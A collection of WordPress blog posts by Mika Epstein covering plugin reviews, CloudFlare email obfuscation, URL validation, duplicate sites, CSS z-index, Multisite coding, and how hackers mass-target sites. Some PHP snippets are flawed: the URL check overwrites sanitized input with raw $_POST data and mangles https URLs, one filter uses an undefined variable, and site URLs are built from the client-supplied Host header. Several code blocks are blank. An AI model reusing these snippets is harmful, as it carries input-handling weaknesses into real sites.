Look. When you make a plugin, you’ve made it knowing the world around you and knowing what’s already broken (or non-optimal). So when you’ve made decisions on how you handle things, I firmly feel that you should be graceful and reliable and fail intelligently. And I don’t think they did. I think they solved the main problem, but in doing so created a host of others.
When someone asks me to review their code (theme or plugin) it’s like being asked if the pants make their butt look big. They want to hear “This is great.” I believe coding is as much art as math (and yes, I see the beauty in math), so it’s also a very critical and personal thing to be told that I don’t like this thing you’ve created. It hurts!
But for the folks in plugin-a-palooza, they knew what they were getting into. Maybe they didn’t know it was with me, but they knew. They knew they’d be judged on merits and flaws. Most people who email me asking for those reviews don’t know that. They think maybe they’ll get a security review or a comment about how things could be better.
What they’re going to get is how I feel about their work. Did the art speak to me? Did I get confused when I used it? Did I enjoy it? Do I think it did what it set out to do? Do I think it fixes the issues it claims to address?
Most people really aren’t ready for the real answers. And as much as it’s nice to be able to be me for a while, I’m still always chained by the reality that my reviews come from someone who’s involved in the WordPress community. Just imagine my ‘testimonials.’
So in the interests of not starting fights, not giving myself headaches, and not making everyone grumpy, I will decline to review your code today.
**Categories:** How It Is
**Tags:** essay, mailbag, wordpress
---
### [CloudFlare Code Muncher](https://halfelf.org/2015/cloudflare-code-muncher/)
**Published:** June 17, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Protecting my email worked until it ate the code I wanted to display.
**Content:**
CloudFlare’s email protection butchered my code examples.
Just putting that out there.
## What Happened?
I went, perhaps ironically, to a post about changing your git repo URLs after activating CloudFlare, and was confused. See, I knew the code was something like `me@mydomain.com:/path/to/repo` but when I visited the page, it was all gibberish like this:
```
/* */
```
I quickly edited the post and saw the content there was just fine. The only content that was getting munged was code output. It was very confusing so I googled and found a surprising answer.
## What Was Wrong?
Turns out it was “[Email Address Obfuscation](https://support.cloudflare.com/hc/en-us/articles/200170016-What-is-Email-Address-Obfuscation-)” — a feature in CloudFlare that munges your email address to protect it from being scraped. In and of itself, that is ultra cool.
I could wrap everything like this:
```
```
Or I could filter all the shortcodes… Or I could turn off “Email Address Obfuscation”
I went with turning off the setting because it was faster, and it’s not like people cant deduce my email address. But if I was going to set it up, the fastest would actually be to filter *all* shortcodes, and that proved problematic.
## Why All?
One of the problems is that I use [Syntax Highlighter Evolved](https://wordpress.org/plugins/syntaxhighlighter/) to handle my code chunks, and one of the things that plugin does is let me use a shortcode based on the programing language. That means the most efficient way would be to say “If this is a shortcode, wrap it in the email-off tags to tell it to shut up.”
## Can You Code It?
*This is theoretical and not fully tested. Use at your own risk.*
With embeds, you can do things like this:
```
add_filter('embed_oembed_html', 'halfelf_embed_oembed_html', 99, 4);
function halfelf_embed_oembed_html($html, $url, $attr, $post_id) {
return '' . $html . '';
}
```
But sadly there isn’t a wrap around like that for shortcodes, which means we have to do some serious filtering. There’s a global array called `$shortcode_tags` that lists all shortcodes (as you register them, so shall they be added), so I’m going to take that and replace their callback functions with my own. Then in my callback, I’ll keep their callback but at the same time I’ll wrap around it:
```
function cloudflare_email_off_for_shortcodes() {
global $shortcode_tags;
$shortcode_tags[ $tag ] = 'cloudflare_email_off_html';
}
add_action( 'init', 'cloudflare_email_off_for_shortcodes', 99 );
function cloudflare_email_off_html( $attr, $content = null, $tag ) {
global $shortcode_tags;
return '' . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . '';
}
```
But that struck me as a little expensive when I considered how rarely I put email addresses in things in the first place.
**Categories:** How To
**Tags:** cloudflare, coding, wordpress
---
### [URL Validation](https://halfelf.org/2015/url-validation/)
**Published:** June 10, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Clunky code because I can't just say 'is_url' for some reason.
**Content:**
I was writing a script for a rather complex series of checks on a website. I wanted to do what I *thought* would be simple. I wanted to grab the website headers and parse them to check if a site was WordPress or not.
That was a weird and wild trip.
In theory, this is all the code you need:
`filter_var($url, FILTER_VALIDATE_URL)`
But as it turns out, that’s actually not the best thing! I started using it but found that I could break it pretty easily and, since I was writing a tool I knew would be used by end-users (who are exceptionally creative when it comes to breaking things), I googled around and found this blog post on [Why URL validation with filter\_var might not be a good idea](http://www.d-mueller.de/blog/why-url-validation-with-filter_var-might-not-be-a-good-idea/).
Yikes! All I was mad about was that FILTER\_VALIDATE\_URL thinks `http://foo` is okay, even when you tell it you want the damn host.
In the end I used this [Strict URL Validator](https://github.com/franksrevenge/StrictUrlValidator) code but even then I had to wrap it around this:
```
// Sanitize the URL
$gettheurl = (string) rtrim( filter_var($_POST['url'], FILTER_SANITIZE_URL), '/' );
$gettheurl = (string) $_POST['url'];
if (preg_match("~^https://~i", $gettheurl)) {
$gettheurl = "https://" . $gettheurl;
} elseif (!preg_match("~^(?:f|ht)tp?://~i", $gettheurl)) {
$gettheurl = "http://" . $gettheurl;
}
// Is it a real URL? Call StrictURLValidator
require_once 'StrictUrlValidator.php';
if ( StrictUrlValidator::validate( $gettheurl, true, true ) === false ) {
// Do the needful
}
```
In many ways, this makes some sense. What is and isn’t a URL can be tetchy to check. http://foo is real. I can use it locally. That’s why http://localhost can exist. And we can’t just say “if not .com/org/net” anymore (if we ever really could). But boy is my code clunky.
**Categories:** How To
**Tags:** coding, open source
---
### [How To Duplicate Content](https://halfelf.org/2013/how-to-duplicate-content/)
**Published:** July 31, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A question I'm asked a lot is how can two sites have exactly the same content. While I really cannot fathom a good reason why, here's how I'd do it.
**Content:**
I’ve talked about this before. [100% duplication of content on multiple sites is bad](https://halfelf.org/2012/duplication-dillution/ "Duplication Dillution"). So why am I going to tell you how to do it? And better, why am I going to tell you how to do it *without* Multisite? Because as a proof-of-concept, it was interesting.
The rest of this post tells you how to do something I don’t advocate, nor will I support. If you have a better way, or improvements, please leave comments. Otherwise, you’re on your own when you do this. I will not help you do it in any way, shape, or form.
Honestly, I still think this is a pretty silly idea. Duplicating content is a terrible user experience, and I still flat-out decline to accept any work for doing this. Sharing content is one thing, but 100% duplication of sites makes no sense at all to me. [Yoast also says it’s a bad idea](http://yoast.com/relative-urls-issues/). But, if you really are totally 100% dedicated to do this, and you absolutely are going to, damn the torpedos, then you should do this in the *least* computationally expensive way possible. And that would be a single install.
Now all that said, this means you’ll need to do a lot of monkey-work, so why do I call this ‘easier’? In many ways, easy is relative and this will be hard, complicated, and may I stress, entirely unnecessary. You’re going the hard way around for something that good planning and a solid understanding of the Internet totally negates. Remember the absolute rule of the Internet: Use one URL per page and never change that URL. (With all rules, there are exceptions, of course.)
The way to make all this work, without Multisite, is by tricking your domain a little. There’s a neat trick with parking (or mirroring, depends on your host) domains, that lets you keep the other domain URL in your browser’s address bar. That’s what I do with this site, actually, halfelf.org is parked on top ipstenu.org. And with a park, the URL always stays as halfelf.org. Hey look! Two URLs, one site! Multisite has secret sauce to know “Someone’s coming to HalfElf, send ’em to site #2.” But on a single site, all my links would still be ipstenu.org and not halfelf.org.
Now how do you use this to duplicate content? **You use relative URLs.**
So here’s a real example. I have twofer.elftest.net set up to mirror plugins.elftest.net (which will give you a coming soon page, it’s just where I like to blow things up for tests).
In the beginning of this post, when I linked to my old post about Duplication Dilution, the URL was `https://halfelf.org/2012/duplication-dillution/` and that is what we call an absolute URL. Because I’m mapping domains, I can leave those in without worry, but if I wasn’t, I’d change that URL to `/2012/duplication-dillution/` instead. Right away this makes my URLs entirely relative, no domain name included, and I’m off to the races.
This doesn’t solve everything, though. See, WordPress *really* wants to use absolute URLs. There are plugins like [root relative URLs](http://wordpress.org/plugins/root-relative-urls/), and those will help a lot. None of them back-ports your existing posts, though, so for *that* it’s nothing for it but to search/replace the DB and change your post content.(ONLY change your post content. Do not change GUIDs!) I really like those plugins because now for a new post, when I add a link and chose to link to existing content, it happily works:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/addinglink.png)
And when I add an image, it too smartly handles as I want it to:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/addingimages.png)
That’s the easy part of all this, though. Now you have to disable canonical URLs, so that you don’t end up with even *more* of the dread duplicate content penalty in WordPress.
```
remove_action('wp_head', 'rel_canonical');
```
This also stops WP from redirecting things like `http://plugins.elftest.net/?p=1` as well, however, so keep that in mind. Of course, that’s what you wanted. But they don’t address the problem of your source code. If I view source on `twofer.elftest.net`, it still showed `plugins.elftest.net`, and that would be a problem for images and themes. You’ll need to toss in this to your wp-config.php, which will dynamically change your URL to be whatever URL I’m visiting from, so that changes automatically. Awesome.
```
define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);
define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
define('DOMAIN_CURRENT_SITE', $_SERVER['HTTP_HOST']);
```
Now I want to tell WordPress that wp-content is not in URL/wp-content/ so let’s just put this in and make it relative too!
```
define('WP_CONTENT_URL', '/wp-content');
```
I’m still going to have to search and replace my old post content (I used [Velvet Blues](http://wordpress.org/plugins/velvet-blues-update-urls/) for this):
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Screen-Shot-2013-06-28-at-2.25.42-PM.png)
But that didn’t address the problem of the source code. 90% of WP now thinks it’s all on twofer, which is what I wanted, but look at XMLRPC:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/sourcecode.png)
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/the_more_you_know2.jpg)And even better, when I try to log in via twofer, it still says I’m going to plugins. Oh and it doesn’t pass through cookies, so really, I never log in to Twofer. Realistically? This isn’t a problem. I’m always going to use plugins.elftest for all this when I log in on the backend, and since the convenience of all this was meant for the front end, and it’s just pingbacks. And why is that? Honestly, I don’t know. I have a guess that since, at WordPress’ heart, the site is always plugins, the absolute URL there has to be what it is, but in so far as all that goes, I think it meets the needs of why most people want to do this.
Conclusions? You can do this. If you wanted to, you can hardcode the theme so the domain you visit the site with will dynamically change the header image, or widgets, or anything else you want. PHP is pretty cool that way and WordPress is too. But I would never do it, except as an experiment to see what I could do it at all.
**Categories:** How To
**Tags:** coding, domain, wordpress
---
### [Mailbag: Static Bars and z-index](https://halfelf.org/2015/mailbag-static-bars-z-index/)
**Published:** June 12, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little CSS for the z-indexing of stacks.
**Content:**
Lindsey asks:
> I found this post on your site (https://halfelf.org/2013/genesis-static-nav-bar/) and had a follow up question about it. My nav bar is now static and fixed to the top of my site, but for some reason a couple of things go over the top of it when I scroll, namely two AdSense ads and a related posts plugin’s images at the end of posts on single post pages. I would love any advice you may have on fixing this. I’m sure it must be something simple, but I can’t figure it out. Thanks!
It’s the z-index. If you’ve used Photoshop, you know about layers. Well, z-index is similar for webpages. It defines the ‘stack’ order, or what’s ‘on top’ of everything else.
Logically you want a video ‘on top’ of the CSS etc of the page, so most of the time this isn’t a problem. At the same time when we’re using CSS to position a menu, it gets … weird.
The basic idea of z-index is that any element with greater stack order is always on top of an element with a lower stack order.
Here’s the CSS I used for my floating menu:
```
.nav-primary {
position:fixed;
z-index:99;
top: 0;
width: 100%
}
```
The z-index on the WP toolbar (that black bar on the top of your site) is `z-index: 99999;` so you can change your CSS from 99 to 99998 and that should take care of it. We do want that toolbar to always win, after all.
**Categories:** How To
**Tags:** css, mailbag
---
### [Mailbag: Getting Started as a Freelancer](https://halfelf.org/2015/mailbag-getting-started-freelancer/)
**Published:** June 5, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Getting started in a career for helping? Where do you actually start?
**Content:**
Neil asks:
> I am a web technician and proficient in Wordpress. I’ve worked on a number of WP sites, as well as other types of scripts/sites. Some of my work has been volunteer, and assisted by Dreamhost’s non-profit hosting. Would you have any suggestions as to how or where one might be able to start in obtaining freelance work? I know it’s a bit presumptuous but I thought I’d ask- I’ve seen many of your posts in the Dreamhost forums helping out. Kindest Regards, Neil
I should preface this with a reminder that I’m *not* a freelancer for a reason. I hate the constant hustle of it.
I don’t think I’m really qualified to answer this one. But you know who is? [Chris Lema](http://chrislema.com). And you know who talked on the Matt Report about how to [become a great freelancer](https://mattreport.com/chris-lema-great-wordpress-freelancer/)?
But that doesn’t answer *where* one gets freelance work.
- [eLance](http://www.elance.com/)
- [UpWork (formerly oDesk)](https://www.upwork.com/)
- [Codeable](http://codeable.io)
- [WP Hired](http://www.wphired.com/)
- [WordPress Jobs Board](http://jobs.wordpress.net/)
If I had to start from zero, I’d pick the WordPress Jobs Board and snag a couple people there. Chris Lema supports Codeable, though, so that’s also a really good pick.
Hey readers, who do you use?
**Categories:** How To
**Tags:** business, mailbag
---
### [Software Death Isn't New](https://halfelf.org/2015/software-death-isnt-new/)
**Published:** May 25, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Or how I learned to stop worrying and love the bomb.
**Content:**
> Are there any statistics on the average number of deaths per year due to software bugs?
>
> — Jeff (@jeffr0) [May 20, 2015](https://twitter.com/jeffr0/status/601109271850291201?ref_src=twsrc%5Etfw)
The answer, Jeff, is yes. But they’re weird and hard to find.
Back around 2008 or so, my father published a paper on the death of Lisa Norris.
Don’t know who she is? Don’t worry. Most people don’t. Norris died of radiation overexposure that was determined to be caused by a software issue. [People hadn’t fully tested software changes](http://woody.com/papers/lisa-norris-death-by-software-changes/). I only know who she is because I maintain my father’s website and converted all his PDF articles to posts. In doing so, I read them all.
I’m not a mathematician like my father, and luckily he and I share a fantastic trait. We’re both used to explaining technical things to non-technical people. Or rather, we can explain the technical things to people who are cleverly technical in other arenas. Yes, that’s where I learned it.
When I saw Jeff’s tweet, I asked if he was serious (as opposed to just ruminating on Twitter) and then directed him to two of my father’s articles. First I pulled up the one about Lisa Norris, since that stuck in my memory. But then I remembered he’d written an article for the Nikkei Asian Review that was more non-mathematician readable. Knowing that he’s written the first paper gives a little more credence to the statements he makes when he talks about [Death by Software](http://woody.com/articles/death-software/).
The part that has always stuck in my mind is this quote:
> As Dr. Nancy Leveson wrote in her Therac-25 investigation report: “Most accidents are system accidents; that is, they stem from complex interactions between various components and activities. To attribute a single cause to an accident is usually a serious mistake. We want to emphasize the complex nature of accidents and the need to investigate all aspects of system development and operation to understand what has happened and to prevent future accidents.”
When we talk about how software can (and will continue to) kill people, we get stymied by the considerably complexity of the question. Did Lisa Norris die because no human thought “This looks weird?” That is also why it’s hard to say “Give me the statistics on all people who died because of software failure.” We have to define what, specifically, is a software failure.
In the book (and the movies) “Fail-Safe,” we face nuclear war because a light burns out causing a false-positive alert resulting in American bombers heading to the USSR. It’s very similar to the boom “Red Alert” (and of course the movie “Dr. Stranglove”). The failure is that our fail-safe measures, the steps we take to make sure that a machine (or computer) cannot make the situation worse is nothing more than a pipe dream.
At its crux, the deaths by software are often the result of failure of imagination. I first learned of the phrase when reading about the Apollo 1 fire back in 1967. Astronaut Frank Borman spoke at the post-mortem hearings of how the deaths, the fire was born from our failure to imagine how things could go wrong.
Why don’t we have statistics? We would have to be very specific in what we ask for. How many people have died because their GPS was wrong? How many people died because the software to handle Anti-Lock Brakes failed? We do not lump all software failures together, making the research mystifying and bewildering. This is not meant as an excuse, though even to me it feels like one. We should be more transparent in how our software kills.
And rest assured. Software kills.
**Categories:** How It Is
**Tags:** essay, security, software
---
### [If You Know What To Do](https://halfelf.org/2015/know-what-to-do/)
**Published:** June 8, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You can make it better or you can make it worse. It's up to you.
**Content:**
I tweeted this a few days ago.
> If you keep letting people make bad choices, they will KEEP MAKING BAD CHOICES!!!
> Developers, please stop letting your clients do things that you know are wrong! Change the web with your power!
A few people joked about Nokia phones. I joked about sliders and auto-play videos.
But the real issue, the crux of this, was marked when the following reply hit my stream:
> this is tougher when there’s a buffer of account execs, project managers, c-levels, stakeholders in the way 🙁
Yes. It is. So what was I really talking about and what does this mean?
## If You Know What To Do…
You’re an expert. You’re an expert designer, developer, programmer, writer, whatever it is you *know* you’re great at. You are. Let’s put the imposter syndrome issue on the shelf and accept our greatness for what it is.
You know what’s right and what’s wrong. You know that keyword stuffing is bad. You know that not putting in alt/title tags for your images is bad. You know that auto-playing music will make us all want to kill you. You know that no one actually enjoys sliders. You know that mobile-first is the future. You know that CAPTCHA is inaccessible to many people. You know that China blocks WordPress.com.
You know a *lot* of things. You’re an expert. And you’ve been hired to be that expert.
## … And You Don’t Do It …
We’ve all been there when someone on your project team says that ‘sliders improve conversation rates.’ And most of us have replied with a link to . We’ve told them how they suck. We’ve pointed out the security issues with them. We’ve shouted about how putting an ad in the middle stops people from clicking to the end. We’ve brought up mobile issues and lamented their speed issues.
And then there are the times you don’t. There are times, more often than not, where you just go along with the flow. You hear “We need a slider.” and you do it. You just do it. It’s okay. We all did.
While there are reasons to go along with your committee, there are reasons not to. Is a slider worth getting into a fight with people about? Probably not. But what about keyword stuffing? What about the slider that you know has security issues? What about those things you know will kill SEO? Do you say no? Do you stand up and say “This is bad and here’s why.”?
## … There You Bloody Well Are, Aren’t You?
Those things you hate on the web? They’re our fault. Nor yours, ours. We don’t fight back when we know things are bad ideas. When we don’t stand up and say “This is not *safe*” then we are breaking the web. We have no one to blame but ourselves.
It’s hard. It’s very hard to do this. You will fight tooth and nail over stupid small things. You will struggle with people telling you that you don’t know anything. And you will feel that nagging doubt of imposter syndrome.
You’ll also lose sometimes. And that’s okay. The point is not to win all the time, the point is to educate. The point is to stand up and work to make the web better and not fall to the status quo of what you know is wrong. If you do that, if you keep teaching them and educating and explaining, you will chip away at the wrong and make it right.
But if you’re not willing to do any of that, then you’re making everything worse.
## What was I actually talking about?
I was complaining about a theme that didn’t allow you to edit the footer. You had to make a child theme to edit the footer, which is fine in and of itself, but it’s not very friendly. It’s a theme with a bazillion bells and whistles to add CSS and change colors, and yet it failed on the most basic of all things. You cannot edit the footer unless you understand the nature of child themes.
There is a developer out there who’s trying to make a plugin that does all this for the user. His code is a nightmare not because *he* is a bad coder but because he’s working with a piece of shit theme that throws errors with `WP_DEBUG` and I haven’t even tried Theme Check on it. I’m afraid to.
But he’s out there, trying to make things better for people and I think he needs to stop. He’s working with a theme that isn’t worth it. He’s trying so damn hard to make the web better, but he’s failing because he’s starting from a place where everything is broken to begin with.
Simply put, he’s working to try and shine shit.
Don’t help people use things that are broken. Fix them the right way. Fix the theme or, if they won’t fix it, stop using it and stop recommending it. It’s not worth your effort if they know what’s right and they won’t do it.
There they bloody well are. Aren’t they?
**Categories:** How It Is
**Tags:** essay, website
---
### [Mailbag: Network Shared Media](https://halfelf.org/2015/mailbag-network-shared-media/)
**Published:** May 29, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Network shared media on a multisite can be slow. This we know.
**Content:**
Doug asks:
> On the WP Forums (at https://wordpress.org/support/topic/multisite-with-one-media-library) you posted this comment:
>
> > Ipstenu (Mika Epstein) Half-Elf Support Rogue, Volunteer Forum Mod & Plugin Referee Posted 1 year ago # http://wordpress.org/plugins/network-shared-media/ Keep in mind, this is generally something that kills your site’s performance.
>
> Unfortunately, the thread is closed so I can’t ask you to elaborate through the forum. So can you elaborate via email reply on exactly where or how the “performance is killed” as a result of installing & activating the `Network Shared Media` plug-in? Thank you, -Doug
The problem is that WordPress Multisite was built to be multiple *separate* sites. You used one install of WordPress, one install of all your themes and plugins, and one ‘user base,’ but outside of that, the sites are all separate. Which plugin is active is different, which theme is used is different, and most importantly your data is segregated.
Your data includes your media.
The concept of ‘sharing media’ is a great one. If you have a network, you would want to have a way to share all common media in a way that every site can call it and insert it. But the way most plugins (including the one mentioned above) go about it is by doing sql queries:
```
$blogs = $wpdb->get_results( $wpdb->prepare("SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND spam = '0' AND deleted = '0' ORDER BY registered DESC", $wpdb->siteid), ARRAY_A );
```
The code, in and of itself, isn’t bad, but that’s just to get a list of sites on the network. Then you have to check if each user has access to upload files to the site. Then you have to use `switch_to_blog` to go to each site and load the images.
What happens if you have a lot of sites and a lot of images?
Your site is slow.
We’ve made a lot of improvements on that end, but extensive DB queries when you have to cross paths like that can be ‘expensive’ on a computational level. Not to mention those large DB queries can cause headaches if you use database caching. All that data has to be generated and cached on every load. That too will slow your server down.
Now this won’t always make your site slow, but if you use it and you end up with a slow site, I’m not surprised.
The next logical question, of course, is do I have suggestions or alternatives? I don’t. I actually do suggest people use that plugin if they need shared media. Or I suggest they [don’t use Multisite](https://halfelf.org/2011/dont-use-wordpress-multisite/).
**Categories:** How It Is
**Tags:** mailbag, multisite, wordpress
---
### [How Hackers Find You](https://halfelf.org/2015/hackers-find/)
**Published:** June 3, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Hackers really just don't care.
**Content:**
I made a bold statement that pissed someone off. I told him that hackers don’t use Google to find vulnerable sites and attack them.
They don’t, you know. Sure, they *can* do that, and I’m certain some of them run scripts to collect a list of people to hit up, but that’s incredibly inefficient. The only kinds of people who do that, who get lists of websites to touch, are people who for *good* reasons need to do that. Like maybe running a script to ping all your domains and trigger a WordPress automatic update by kicking off cron. And sure, a hacker could use a tool like [WPScan](http://wpscan.org/) to collect all the awesome information. But they don’t.
But like I said, doing that is inefficient. The longer it takes a hacker to find you, attack you, and break you, the more likely it is that you’ll be upgraded. With WordPress in specific, the moment that hacker hits your site, your WP install has probably already begun the upgrade to make you more secure. Assuming that, what a hacker wants, what they need, is to hit you once, hit you right, and hit you hard.
What a hacker *really* does is use that annoying BotNet to distribute an attack on as many websites as possible in one blast.
## Do All Hackers Do This?
I should clarify something. When I say ‘hackers’ I don’t mean a specific person who is out to get you, in particular, and wants to destroy your site. Those attacks take as much tech smarts as they do social engineering. When I talk about hackers who are taking down sites, I mean the ones who know about a plugin or theme or core exploit to your site and are going to en masse blast the hell out of the internet to take ’em all down or leave their backdoors for whatever they do with these sites. Perhaps I should call them script kiddies, since many are.
## Why Do Hackers Do This?
I have no idea.
It used to be we hacked sites to prove we could. Then we hacked them to get in and get information we wanted. Then … somewhere along the line we started to hack to deface and leave viagra links. I don’t know what ‘good’ the hackers get out of the end result. It doesn’t make sense to me, but then again, I don’t understand why people buy most ‘as seen on TV’ things.
## How Do Hackers Find Your Site?
One (kind of cool) thing they can do is, once they find one site, using a tool like [SameIP](http://www.sameip.org/) to collect a list of everyone else on the server. That’s great for attacking people who are on shared hosts because they all have the same IP. And once they have your domain on their own list, they keep it and will hit you forever.
But what if they just want a list of all 23% of the internet running WordPress? It’s not that hard. [BuiltWith](http://trends.builtwith.com/websitelist/WordPress), for example, has a list of many of the WordPress sites.
Certainly it’s not that hard to do. There used to be a site called Hacker Target that had a list of all WP sites: `https://hackertarget.com/100k-top-wordpress-powered-sites/` The URL doesn’t work anymore but the idea is there. One could take such a list and just attack it.
Similarly, if you happen to be on an insecure server, one could hack the server and from there collect a list of all domains (since the server has to know it’s domains) and, in the case of a *very* insecure server, get all the domains on the network, and attack all of those. The shell commands aren’t all that terrible.
The point is, both of those methods are far, far, faster than just grabbing a google for ‘this plugin’ or even ‘this error.’
## How Do Hackers Find Out What You’re Running?
This is where people step in and say “WordPress shouldn’t announce it’s version to the masses!” It should, because of what I say the next section (see “Do Hackers Care What You’re Running?”), but the short is that your site content tells them. They can run scrapers to pull your site data, the layout, the way files are stored, and they can tell. It’s like figuring out what car you’re driving.
In fact… Think about that for a second. What kind of car are you driving? Does having the car logo on the car make it more or less secure? It may, if there’s a specific ‘hack’ for your car, but the trained professionals will still know, even if you pull off the logos, so in the end, you’re not really protecting yourself.
## Do Hackers Care What You’re Running?
No, they don’t. Sorry. They don’t. Once a hacker has a list of websites, they don’t care if you run WordPress or Drupal or Joomla or Ghost. They’re going to attack with what they know is vulnerable and keep at it until they have a success. Then they take that success and leverage it to get to the next site. And on and on.
So when you get hit by 100 bot-net computers, being tagged for [timthumb when you don’t even have it installed](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/), that’s what’s going on. They do not care what you’re running.
## How can you protect yourself?
Use a good host who cares about security. Use up to date versions of all web tools and their extensions. Follow those tools and get updates regularly as to any security issues with them.
WordPress is not “Set it an forget it.” You have to keep paying attention.
**Categories:** How It Is
**Tags:** essay, hacks, security
---
### [Design for Multisite or DIE](https://halfelf.org/2015/design-multisite-or-die/)
**Published:** June 1, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You don't have to code for Multisite to code for Multisite. But when you code with WordPress Multisite in mind, you just may be doing_it_right()
**Content:**
I don’t mean you need to design all your code to have special Multisite features. I mean that if you’re not writing code to work on multisite, you’re probably doing a lot of things non-optimally and not fully WordPressy. When you write your code with Multisite in mind, you’re actually writing it with the basic tenants of WordPress itself. It forces you to think about how WordPress is used, how it might be used, and how you can be flexible and extendable.
Let’s throw out the idea of network options and activation for a moment and consider the ways we can write our code to make it work for Multisite and the world. The truth is that if you’re coding ‘for Multisite’ in many ways your coding for WordPress in the best way possible.
## Calling Files
There’s a time and a place for `ABSPATH` but it’s as a last resort. There’s a time and a place for `get_bloginfo('url')` but it’s not to call `.'/wp-admin/admin.php` either. Did you know `admin_url()` will get the url to the admin area using the right protocol (http or https) for you? And it works for Multisite. Instead of hardcoding your paths or assuming everyone has WordPress installed in the root of their website (they don’t), use the functions and template calls WordPress has created.
Oh and stop supporting the old WordPress 2.x ways of determining folders. It’s 2015. We’re good.
## Saving Files
Saving data to the disk means everyone can read it. Duh, right? Well, where do you save uploaded files? You use `wp_upload_dir` of course. That works on Multisite just fine. Instead, if you hardcode in `/wp-content/uploads/myplugin/` then you’re saving things for everyone. If you’re not using the WordPress options to grab the upload directory, then your code won’t work on Multisite and everyone will be sad.
This extends to where you save your cache files. Did you know there’s a plugin that saves the cache to the plugin folder itself? Besides the fact that the cache didn’t have a way to flush and grew to 700megs over the year the person used it, that cache was for *all* the sites in the network. All. Saving the cache to a unique location (I suggest `/wp-content/pluginname-cache/siteID`) prevents cross contamination of cache.
## Saving Options
If you write a plugin that, to save its data, it creates a new DB table and saves it there, that can be okay. But if your plugin on update then *drops* that table and recreates it… That was not pulled at random, by the way, I was reviewing a plugin that did that. Instead he should have been using the function `update_option()` to create (and update) the options. And yes, it knows.
But that’s an extreme, I admit. What isn’t an extreme is people creating their own tables. It happens a lot. And when they do, they often forget that we have `$wpdb->prefix` which means they force create `wp_mypluginname` instead of `$wpdb->prefix . "mypluginname"` … guess which one’s smart enough to know it’s on Multisite?
(If you want to make a network table use `$wpdb->base_prefix` and use `update site option` for network wide options, yes, we know the naming conventions are weird.)
## Theme Customizer
Not everyone can edit theme files. Not everyone can make child themes. On a Multisite, the only person who can do that is the Super Admin. Site Admins have no access to edit files or upload themes. Worse, if you make a change to a theme, everyone who uses that theme gets the change. What happens when a site wants a special header and your theme doesn’t allow those to be edited via the customizer? The customizer is there for a reason. Use it. At the very least make things hookable to allow plugins to do simple things like change footers. Please. Please. That’s one of the things that [themes get wrong](https://halfelf.org/2015/themes-get-wrong/) constantly.
## What Else?
What do you think would be improved if people ‘coded for Multisite’?
**Categories:** How To
**Tags:** development, multisite, wordpress
---
### [Underscores (A Plugin We Need)](https://halfelf.org/2015/underscores-plugin-need/)
**Published:** May 18, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A framework is not a starter pack.
**Content:**
Look. [I still hate Your frameworks](https://halfelf.org/2015/hate-framework/).
I really do. They’re a decent idea with a terrible reality. The concept of ‘a plugin to build other plugins’ is nothing at all like a Parent Theme. A plugin that builds other plugins is synonymous with a theme framework or, perhaps you’ll understand this better, a *starter* theme.
## Have you met \_s?
[\_s (aka underscores)](http://underscores.me/) is a starter theme. Themes are built from it. In and of itself, it’s not a theme you’d see on WordPress.org because in and of itself, it’s useless. It’s not a parent theme, it’s not even a ready to use ‘drop this theme in and you have a site’ sort of thing. No, in fact if you installed it, it would look terrible.
Because the point is not to use it as a theme, but to use it to build your theme. No one in their right mind uses Underscores as a parent theme. No one uses it as a drop-in to their themes. It’s a, literal, framework where you say “This is my Theme Name, this is my slug.” And then it drops out the code for you to start plugging into.
## What do the existing framework plugins do?
The problem isn’t what they do it’s how they do it. They’re not frameworks. They’re libraries. A library is like the AWS SDK library. It’s a vendor based addition to your code that enables it to do ‘a thing’ but, in and of itself, doesn’t do anything. A library is a great tool and lets you include code that you’re going to use but don’t want to reinvent the wheel. I love them. Another example would be that Font Awesome is a library.
But we don’t allow libraries, themselves, in the repo. That means if you write a Font Awesome plugin, it has to actually do something besides just include Font Awesome.
And the point here is that a plugin, like a theme, has to be usable. It has to stand up on it’s own and do something.
## Is a library perfect?
Once you take your framework plugin out of the repo, how do you handle upgrades?
Obviously you can run your own upgrader (which we’d encourage) but if the plugin is folded into another plugin, you’re not able to just upgrade YOUR portion. So you have to wait (and trust) the plugin dev will update their plugin and include your latest version.
Mind you, this is an existing problem with plugins and libraries and, in a way, is related to why we don’t allow you to use your own copy of jquery. Conflicts! Yay!
## How does \_s handle updates?
This is something [Konstantin’s thought about before](http://themeshaper.com/2013/10/11/dont-update-your-theme/). Funny thing, Underscores is versionless and it doesn’t update often.
> Here is a list of reasons why you should not update your \_s-based theme with our changes to \_s:
>
> - Most likely your theme code will have evolved to a degree where merging \_s changes would lead to conflicts. They also won’t be applied to anything you created on top of it.
> - We are in the unique situation to not having to worry about backwards compatibility when we commit changes. And we don’t!
> - Once you release your theme, you’ve probably fixed all the things in \_s that needed fixing for your case. Just because we push an update to \_s, it does not necessarily mean it applies to your theme.
Basically there should be no updates to your framework.
And that terrifies a lot of people. Because the extant framework plugins update a lot. In fact, some of them want to be in the .org repository specifically because they update a lot.
They shouldn’t. And that’s why I think they’re doing it wrong.
## Be a Starter Plugin
Stop trying to be a framework. They don’t work, they’re not sustainable, and they’re problematic.
